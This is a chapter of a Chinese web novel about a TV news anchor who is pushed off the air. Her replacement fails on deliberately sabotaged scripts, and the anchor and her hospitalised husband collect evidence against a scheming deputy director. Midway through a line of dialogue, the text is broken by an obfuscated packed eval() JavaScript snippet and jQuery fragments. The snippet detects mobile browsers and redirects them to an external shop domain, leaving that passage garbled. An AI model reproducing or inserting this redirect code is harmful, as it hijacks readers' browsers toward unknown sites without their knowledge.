凌晨三点五十分。
黑色吉普停在电视台大门外的临时停靠点。
“嫂子，到了。”开车的小队员回头看了一眼，“我送您。”
“不用。”苏皖推开车门，夜风灌进来，凉得她缩了一下。小队员已经下了车，绕到她这边。
“队长交代的，必须看您进门。”小队员挠了挠后脑勺，表情有点不好意思，“嫂子您别嫌我烦。”
苏皖弯了弯嘴角：“谢谢。”
两个人往大门走。电视台门口的岗亭亮着灯，值班警卫裹着大衣站在门口。看清是苏皖，警卫愣了一下，表情变得有点微妙。
“苏老师。”他打了个招呼，语气比平时客气，也比平时疏远。
苏皖点点头，从包里掏出工牌，在门禁上刷了一下。
“嘀”一声，侧门开了。
她推门进去，小队员站在原地，看着她进了大门，才转身往回走。
警卫站在旁边，看着她的背影消失在门后，嘴唇动了动，想说什么，最后只是叹了口气。
苏皖听见那声叹气了。
她没回头，继续往前走。
大楼的玻璃门感应打开，大厅里只亮着几盏节能灯，冷白的光铺在地上，空空荡荡。值班保安从监控室探出头，看见是她，愣了一下。
“苏老师。”他打了个招呼。
苏皖点点头，从包里摸出一根火腿肠。
“小刘，给你的流浪猫。”
保安伸手接过来，嘴唇动了动，想说什么，最后只是攥紧了火腿肠。
苏皖没再多说，径直走向电梯。
电梯门合上，镜面里映出她的脸。妆化得很淡，黑眼圈遮了三层粉底才勉强盖住。她对着镜子抿了抿嘴唇，把嘴角往上提了一点。
电梯停在新闻中心楼层。
门打开，走廊里比平时安静。
她往演播室走，经过茶水间时，听见里面有人在小声说话。
“……听说今天换人了，李台亲自安排的。”
“真的假的？苏皖呢？”
“停职啊，昨天不是开会了吗？”
“那她还来干嘛？”
“谁知道，可能是不死心吧……”
苏皖脚步没停，从茶水间门口走过。
里面的声音戛然而止。
她走到演播室门口，推开门。
灯光已经亮了，几个工作人员正在调试设备。导播张丰站在监视器前，手里拿着台本，看见她，愣了一下。
“苏皖，”张丰放下台本，走过来，声音压得很低，“你怎么来了？”
“我来上班。”
张丰沉默了两秒，挠了挠后脑勺：“那个……今天早间新闻，李台安排了别人。”
“我知道。我等八点，许台回来。”
张丰看着她，嘴唇动了动，最后只是叹了口气：“行吧。”
苏皖点点头，退后两步，在导播间外面的走廊站定。
窗外的天色还是黑的，城市的灯火在远处连成一片。她站在那里，看着玻璃上自己的倒影，安安静静。
身后有人走过来，脚步声很轻，然后停在她旁边。
小赵的声音怯怯地响起：“皖姐……”
苏皖转头，看见小姑娘眼眶红红的，手里攥着一杯热豆浆。
“皖姐，你吃早饭了吗？”小赵把豆浆递过来，“我刚买的，还热着。”
苏皖看着那杯豆浆，“谢谢。”她接过来，指尖触到杯壁，确实很烫。
小赵站在旁边，拉着苏皖的胳膊，欲言又止了几秒，终于憋出一句：“皖姐，你去休息一下吧。天塌了也跟你没关系，别担心这里。”
苏皖笑：“好。”
小赵看着她，眼眶更红了。
苏皖拍拍她的手：“去忙吧。”
小赵点点头，跑开了。
苏皖端着那杯豆浆，缓步走回办公室。空荡荡的，只有她一个人。新换的主持人还没来。她趴在桌子上，睡着了。
六点十五分。
演播室里开始忙碌起来。
新来的主持人面前的稿子摊开好几页，手忙脚乱地翻着。是个年轻女孩，叫林珊。
“片头音乐呢？音乐怎么没切进来？”张丰的声音从导播间传出来。
技术员手忙脚乱地操作了两下，音乐终于响了，但比预定时间晚了三秒。
林珊对着镜头练习开场白，念了两遍，都卡在同一处。她停下来，低头看稿子，眉头越皱越紧。
张丰拿起内线电话：“林珊，稿子你没提前备？”
林珊的声音通过话筒传出来，带着哭腔：“我备了……但这稿子好几处都不通顺，我念不顺……”
张丰拿起桌上的稿子翻了两页，脸色变了变。
他没说话，只是把稿子摔回桌上。
六点三十分。
苏皖从办公桌上惊醒，坐起来，拿出手机看直播。办公室陆陆续续有人来，看她在，都躲出去了。
早间新闻准时开始。
林珊坐在镜头前，妆容精致，但肩膀绷得很紧。
第一条新闻。念了十五秒，忽然顿住了。
画面里，她的嘴唇张了张，没发出声音。
导播间里，张丰的声音炸开：“切备播！快切备播！”
技术员的手指在操作台上飞快按了几下，画面切到事先录好的备播带。
“备播带还有多少？”张丰问。
“十二分钟。”
画面里，备播带开始播放——是一条前几天的城市风光片，配着舒缓的音乐。
走廊里，几个工作人员聚在一起，小声议论。
“第一条就卡壳……”
“她根本不知道要提前来对流程，苏老师以前都是自己弄的……”
苏皖站在原地，端着那杯豆浆，安静地看着。
备播带放了四十五秒，画面切回演播室。
林珊的脸出现在镜头里，妆容依旧精致，但眼眶已经红了。
她继续往下播，声音发飘，语速忽快忽慢。第三条新闻，把“市政府”说成了“省政府”。第四条新闻，念错了一个领导的职务。第五条新闻，她念到一半停下来，盯着提词器看了三秒——那行字的语序是乱的。
她硬着头皮往下念，念出来的句子不通，自己都皱眉头。
导播间里的电话开始响。
张丰接起来，刚听了两句，脸色就变了。
他放下电话，又响。再接，再听，再挂。
一连响了七八次。
走廊里，有人小声说：“投诉电话吧……”
七点整。
苏皖坐不住了，她来到直播室的楼层。站在导播间门外，苏皖刚要推门进去，停住了。
李文杰出现在走廊尽头。
他走得很快，西装外套敞着，脸上带着一夜没睡好的疲惫。
身后跟着沈择。他步子不急不缓，脸上带着恰到好处的关切。
两个人从苏皖身边经过，李文杰扫了她一眼，脚步顿了一下，但没停，径直进了导播间。
沈择倒是停了。
他站在苏皖旁边，顺着她的目光看向演播室里的林珊，轻轻叹了口气。
“小姑娘紧张了。”
苏皖没看他。
“我应该让你先带她两天。”沈择等了两秒，笑了笑，他抬脚跟进导播间。
导播间的门没关严，声音断断续续传出来。
“多少投诉了？”李文杰的声音。
“四十二个。”
“四十二个？”李文杰的声音提高了一度，“这才播了半小时！”
“李台，林珊她确实不熟流程，以前苏老师都是——”
“别提她！”李文杰打断他。
沈择的声音插进来，不紧不慢的：“李台，备播带还有多少？”
“还有八分钟。”
“够了。我来处理。打电话给周敏，让她来改稿子。”
导播间里安静下来。
苏皖闭了闭眼，深吸一口气，离开。
七点三十分整。
早间新闻结束。
片尾曲响起，林珊对着镜头说了最后一句“感谢收看”，肩膀瞬间塌下来，整个人靠在椅背上。
演播室的门打开，林珊从里面走出来。小姑娘妆都花了，眼眶红红的，低着头往外走。
“周姐！你等等！”楼梯拐角处，林珊拦住写稿的周敏，手里攥着一沓稿纸。
周敏被迫停下来，转过身，脸上带着不耐烦：“怎么了？”
“怎么了？”林珊的声音发抖，“今天的稿子是怎么回事？好几处都不通，主谓宾都对不上，你让我怎么念？”
周敏的表情变了变，但很快恢复：“稿子就那样。”
“你自己看看！”林珊把手里那沓稿纸往她面前一递，“第三条，那句话是‘会议强调要深入推进’——你写的什么？‘会议强调要深如推进’。‘深如’是什么？你告诉我，‘深如’是什么？！”
周敏的脸色白了一瞬。
“还有第五条！”林珊翻着稿纸，手指发抖，“‘市民反映强烈的交通拥堵问题，相关部门正在积极研究解决措施’——你写的什么？‘市民反映强烈的交通拥堵问题，相关部门正在积极研究解决措施研究’！一句话两个‘研究’！”
走廊里几个经过的人停住脚步，探头往这边看。
周敏被堵得说不出话。
林珊盯着她，眼眶红得厉害：“周姐，我知道我刚来，没什么资历。但你就这么欺负人？这稿子要是苏老师播，你也会这么写？”
周敏被戳到痛处，脱口而出：“你别找我！又不是我要这么写的！”
林珊愣住了。
周敏话一出口就后悔了，但收不回来。
“你什么意思？”林珊盯着她，“什么叫不是你？”
周敏抿了抿嘴，压低了声音：“李台让的。他说苏皖的稿子以后不用太仔细，差不多就行。谁知道今天是你播？”
林珊站在原地，像被人打了一拳。
周敏趁她愣神，抽回胳膊，快步往楼梯口走。
走了两步，又回头加了一句，声音压得更低：“我劝你，别往外说。”
然后她消失在楼梯口。
林珊站在原地，手里攥着那沓稿纸，一动不动。
周围几个人交换了一下眼神，慢慢散开了。
小赵从茶水间探出半个脑袋。
她手里握着手机，屏幕还亮着。
她看了一眼林珊的方向，然后缩回茶水间，手指在屏幕上点了几下。
七点四十五分。
苏皖站在电梯口，准备去台长办公室。手机在包里震动了一下。
她掏出来，是小赵的微信。
一条语音。
她点开，把手机贴在耳边。
小赵的声音压得很低，背景音里有隐约的走廊回声：“皖姐，给你听个东西。”
紧接着是一段录音。
林珊的声音：“周姐，你站住！今天的稿子是怎么回事……”
周敏的声音，越来越清晰，最后那几个字——
“李台让的。他说苏皖的稿子以后不用太仔细，差不多就行。谁知道今天是你播？”
录音结束。
苏皖站在电梯门口，盯着手机屏幕。
电梯门开了，又关上。
她把手机收起来，转身往台长办公室走。
八点整。
苏皖敲响台长办公室的门。
“进。”
她推门进去。
许明坐在办公桌后面，桌旁还放着行李箱，大衣还搭在椅背上。显然是下了飞机直接来了台里。
“坐。什么时候来的？”
“六点。”
许明看了她两秒，没说话，起身去倒了杯温水，放在她面前。
苏皖接过杯子，没喝，只是握在手里。
许明坐回椅子上，往后靠了靠，看着她。
“说吧。”
苏皖把这几天，特别是昨天的事说了一遍。李文杰的“批斗会”、“停职写检查”。语气平静。
许明听完，沉默了几秒。
他拿起桌上的保温杯，喝了一口茶，然后放下。
“李台那些话，我回头找他聊。”
苏皖看着他。
许明又沉默了一会儿，然后说：“苏皖，你来台里几年了？”
“三年。”
许明点点头，没再往下说。
苏皖的手指微微收紧。
“许台，我要求台里发声明澄清。或者我自己开记者会。那些照片可以核实，那个男人我不认识——”
“我知道。”
苏皖愣了一下。
许明看着她，目光温和。
“那几张照片，我看了。那个男人是谁，有关部门在查。但就算查清楚了，声明发出去了，信的人有多少？”
苏皖没说话。
“你是主持人，是半个公众人物。造谣一张嘴，辟谣跑断腿。这个道理，你比我懂。”
苏皖垂下眼。
许明叹了口气。
“苏皖，我不是帮着李文杰，但是硬碰硬对你没好处。”
苏皖抬起头，看着他。
“许台，我不怕碰。”
许明笑了。那笑意很淡。
“我还记得你来台里第二年，有一期公益节目，台里临时调整，把原本要播的公益广告撤了，让你在直播里口播几条公益口号凑时间。稿子是开播前五分钟才塞给你的，七条口号，全是生硬的套话。”
苏皖想起来了。那期节目，公益广告换成了某个不知名保健品的广告。
“你当时在化妆间看了那几行字，掏出笔，自己重新顺了一遍。七条改成三条，每条加了背景说明。开播前三分钟改完，直播效果比原本的公益广告还好。”
许明看着她。
他顿了顿。
“你的能力，我最清楚。”
办公室里安静了几秒。
苏皖看着他。
许明没再往下说，只是端起茶杯，喝了一口。
“新闻主播的位置，你可以先让出来。”
苏皖的脊背微微绷紧。
“不是停职。”许明放下茶杯，“是调整。”
苏皖看着他。
“你之前不是一直想做一档自己的节目？普通人访谈那种。”
苏皖愣了一下。
“我记得你提过。去年年底台里开会，你说现在社会戾气重，需要一点暖的东西。访谈普通人，讲他们的故事。”
苏皖点点头。
“现在有时间了。给你一个月，策划一档节目。过审了，周五晚上八点档，就给你。”
苏皖怔怔地看着他。
八点档。
“许台……”她开口。
许明摆摆手。
“这一个月，每天上午来打个卡，不用坐班。去医院照顾你爱人，顺便把策划写了。”
苏皖看着他，说不出话。
许明对上她的目光。
“你在台里待着，能做什么？”
他没再往下说。
苏皖沉默了几秒，然后站起来，对着许明鞠了一躬。
她转身要走，走到门口，又停住。
她回过头。
许明坐在那儿，看着她。
两个人对视了一秒。
苏皖说：“台长，我不会让您失望。”
许明点了点头，“去吧。”
她拉开门，走了出去。
走廊里，阳光从窗户照进来，落在她身上。
她站在那里，闭了闭眼。
与此同时，副台长办公室。
李文杰坐在办公桌后面，面前的电话又响了。
他看了一眼来电显示，接起。
“喂？是……对，我是李文杰……是，今天的早间新闻是我们台的……您反映的问题我们收到了，正在调查……好的，好的……”
挂断电话，他往椅背上一靠，揉了揉眉心。
桌上的手机又响了。
他看了一眼，接起来。
“李台，投诉那边我统计了一下。”沈择的声音从听筒里传来，“到刚才为止，一共六十八个。网络那边也接到了五个。”
李文杰的太阳穴突突跳了两下。
“六十八个？”
“还在增加。观众打电话进来，问为什么不是苏皖，说今天的新闻播得乱七八糟。还有人说，稿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211704|197427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不通顺，主持人念得结结巴巴。”
李文杰沉默了几秒。
“李台，这事情，咱们得想个说法。万一有记者来问——”
“我知道。”李文杰打断他，“你先把投诉压一压。”
挂了电话，他站起来，走到窗边。
窗外的阳光很好。
他站在那儿，看着楼下的人来人往。
过了几分钟，办公室的门被敲响。
沈择推门进来。
“李台。”
李文杰没回头，看着窗外。
沈择走到他旁边，也看着窗外。
楼下，苏皖正从大楼里走出来，往门口走。阳光照在她身上，她走得不快不慢。
沈择轻轻叹了口气。
“她今天凌晨三点就来了。”
李文杰没说话。
“来了也不走，还看着直播。”沈择顿了顿。
“然后投诉电话就来了。”
李文杰转过头，看着他。
沈择对上他的目光，没再往下说。
李文杰沉默了几秒。办公室里安静下来。
李文杰站起来，“我去找许台。要不是苏皖挑唆，怎么会有这么多投诉，对不对？”
“没错！”沈择接。眼里阴狠被笑意掩盖。
中午十二点，苏皖推开病房的门。
“今天给你吃我蒸的馒头。”她笑，摇了摇保温桶。
陆铮半靠在床头，手里拿着一份文件，听见动静，抬起头。
目光落在她脸上，停了两秒，然后嘴角弯了一下。
“我都馋了。”
苏皖走过去，把包放下，在床边坐下。
两人一起吃饭。南瓜馒头，看着很诱人。她还做了汤。
一边吃饭，她一边说：
“许台给我安排了个活。”
“策划一档新节目。普通人正能量访谈，我自己一直想做的那个。”
陆铮的眉毛动了一下。
“许台说，给我一个月时间，策划过审了，周五晚上八点档，就给我。”
陆铮没说话，只是看着她。
“还有，两年前，李文杰在我的一个公益节目里临时塞了一个保健品广告，可以查查。”
“好。”陆铮笑，她真的冰雪聪明。
“许台给你时间照顾我。”
苏皖愣了一下，然后笑了：“你怎么知道？”
陆铮没回答，只是拇指在她手背上轻轻蹭了一下。
苏皖看着他的手，忽然说：“陆铮，今天早上直播事故了。我心疼。”
陆铮抬眼看着她。
“我看到林珊出丑，看到李文杰和沈择进进出出，看到那些人躲着我的眼神。还听说林珊追着周敏吵架，听到周敏说，稿子是李台让对付我的，没想到今天换人播。”
她从包里掏出手机，点开那段录音，递到他耳边。
录音播放。
林珊的声音，周敏的声音，走廊里的回声，还有最后那句“李台让的”。
陆铮听完，沉默了几秒。
然后他把手机还给她。
“听完什么感觉？”
苏皖想了想，慢慢说：“他们怎么可以把工作当私人的玩具。”
苏皖对上陆铮投来的目光，嘴角弯了一下：“不过，也有收获。之前都是猜，都是感觉。现在有证据了。”
陆铮没说话，只是把她的手握得更紧了一些。
窗外的阳光照进来，落在两个人身上。
苏皖靠回椅背上，看着窗外的光，忽然开口：“陆铮。”
“嗯？”
“我刚才站在导播室门口的时候，一直在想一个问题。”
陆铮看着她。
苏皖顿了顿。
“我在想，如果今天坐在里面的是我，那些稿子会是什么样。”
陆铮的目光微微一动。
苏皖继续说：“周敏说，李台让她对付我。那如果我今天还在播，那些不通的稿子，会让我在镜头前出丑。观众不会知道是稿子的问题，只会觉得我播得不好。”
她顿了顿，声音轻下来。
“但我不会出丑。因为我每次都会提前来，自己改稿子。那些不通的地方，我改完就顺了。”
陆铮看着她。
苏皖转过头，对上他的目光。
“所以我其实是在想——我这三年，到底给自己攒了多少本事。”
陆铮看了她很久。
然后他伸手，把她额前的一缕碎发拨到耳后。
“想明白了？”
苏皖点点头。
“想明白了。”
陆铮的嘴角弯了一下。
那笑意很淡。
病房里安静下来。
接下来的半个月，日子过得很慢，也很快。
苏皖每天八点出门，小队员准时把车停在楼下。她去台里打卡，然后回公寓，给陆铮做爱心餐，再回医院，陪陆铮，处理策划的事。下午她见人——程雨帮忙联系的采访对象，一个接一个聊。晚上她回病房，把当天的事讲给陆铮听。
陆铮听着，偶尔问一句，偶尔只是点头。
他恢复得比预期快。第二周开始，能下地走了。护士来换药的时候，伤口愈合得不错，纱布已经不再有血迹了。
苏皖每天带回来的东西，越来越多。
沈择最近常约饭局的地方，叫“澜会所”。小赵听司机班的人说的，说沈择每周至少去两次，每次都待很晚。
李文杰和沈择在楼下咖啡厅，对面坐着一个陌生男人。程雨拍的，说那个男人最近来过台里好几次，每次都找沈择。
一个实习生说李文杰让她用自己的信息申请了一个电子邮箱，还要走了邮箱和密码。
…………
当然，也有她自己策划节目的信息。
她约谈了几个有潜力的新闻记者，有两个愿意跟着她，还有一个摄影记者，主动请缨，要跟着她做专访。
她找了个助理，叫程雨，程雨整理的备访名单——夜市摆摊的糖画老人，坚持十年给环卫工人送水的理发店老板，带着脑瘫儿子跑马拉松的单亲妈妈。
每天晚上，苏皖睡着以后，陆铮靠在床头，把手机调成静音。他会把当天的信息整理好，发给相关的人。
江湖的对话框里，他敲了几行字，是关于那个保健品广告的。
发完，切到徐虎的微信，把那张咖啡厅的照片点了发送。
最后是安远，邮箱那个线索发过去之后，他盯着屏幕看了几秒。
有一回，苏皖半夜醒来，看见他手机屏幕亮着，正打着字。
她问他：“睡不着？”
他看着她，目光很柔。
“嗯。想点事。”
她没再问。
半个月后的一天下午，苏皖从外面回来，推开门，看见陆铮站在窗边。
阳光很好，照在他身上。他穿着一件深灰色的休闲外套，下身是黑色的运动裤，身姿挺拔。
听见动静，他转过身，看着她。
“回来了？”
苏皖站在门口，愣了一下。
“你怎么下来了？”
陆铮弯了弯嘴角。
“想走一走。”
苏皖走过去，站在他旁边，也看着窗外。
楼下的小花园里，有人在散步，有人在晒太阳。
她忽然说：“陆铮，我今天见了一个人。”
“嗯。”
“夜市摆糖画的那个老人。他摆摊三十年了，从最早的两毛钱一个，到现在五块钱一个。他说他摆摊的时候，见过太多人——吵架的夫妻，哭闹的小孩，加班到半夜的年轻人，谈恋爱的小情侣。他说他就看着，看着他们从摊前走过去，一年又一年。”
陆铮听着。
苏皖顿了顿。
“他说，他觉得自己像个看门人，守着那条街，看着那些人的日子一天天过。”
陆铮没说话。
苏皖转过头，看着他。
“我想做一期他的节目。”
陆铮对上她的目光。
“嗯。我陪你。”
苏皖笑了。
窗外的阳光照进来，落在两个人身上。
病房里很安静。